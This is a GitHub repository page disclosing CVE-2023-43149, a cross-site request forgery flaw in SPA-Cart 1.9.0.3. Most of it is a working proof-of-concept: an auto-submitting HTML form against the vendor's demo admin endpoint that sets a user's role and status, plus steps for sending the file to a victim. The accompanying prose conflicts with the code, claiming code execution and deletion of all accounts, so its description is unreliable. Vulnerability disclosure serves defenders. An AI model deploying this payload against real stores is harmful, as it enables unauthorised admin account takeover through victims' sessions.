MinoTauro2020/CVE-2023-43149
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Folders and files
Name | Name | Last commit message | Last commit date | |
---|---|---|---|---|
Repository files navigation
# CVE-2023-43149 #Author : Aitor Herrero Fuentes # Vendor: SPA-Cart # Vendor Homepage: https://spa-cart.com/ # Software Link: https://demo.spa-cart.com/admin # Version: 1.9.0.3 # Tested on: Windows 10 Pro CSRF ADD ROOT ACCOUNT Cross Site Request Forgery vulnerability in application demo.spa-cart.com allows a remote attacker to execute arbitrary code , add an malicius user with "role status" with one click A CSRF vulnerability occurs when a malicious actor can trick a victim into performing an action that they did not intend to perform. In this case, the malicious actor could trick the victim into clicking on a link or opening a file that contains malicious code. This code could then be used to delete all accounts. POC 1 - Make an file with with this CODE and SAVE in HTML Attack Delete All Account <html> <body> <form action="https://demo.spa-cart.com/admin/user/859" method="POST" enctype="multipart/form-data"> <input type="hidden" name="posted_data[firstname]" value="mal1" /> <input type="hidden" name="posted_data[lastname]" value="mal2" /> <input type="hidden" name="posted_data[phone]" value="156415641561" /> <input type="hidden" name="posted_data[email]" value="mal1@test.com" /> <input type="hidden" name="password" value="" /> <input type="hidden" name="posted_data[usertype]" value="C" /> <input type="hidden" name="posted_data[roleid]" value="1" /> <input type="hidden" name="posted_data[status]" value="1" /> <input type="hidden" name="posted_data[address]" value="" /> <input type="hidden" name="posted_data[city]" value="" /> <input type="hidden" name="posted_data[state]" value="" /> <input type="hidden" name="posted_data[country]" value="AG" /> <input type="hidden" name="posted_data[zipcode]" value="05584" /> <input type="hidden" name="posted_data[pending_membershipid]" value="1" /> <input type="hidden" name="posted_data[membershipid]" value="1" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> 2 - Example test.html 3 - Send to the victim 4 - When the victim open the html the file test.html will open in his navigator and when he will open and press click at the button the code will changes in his actually session.
About
CVE-2023-43149
Resources
Stars
Watchers
Forks
Releases
No releases published
Packages 0
No packages published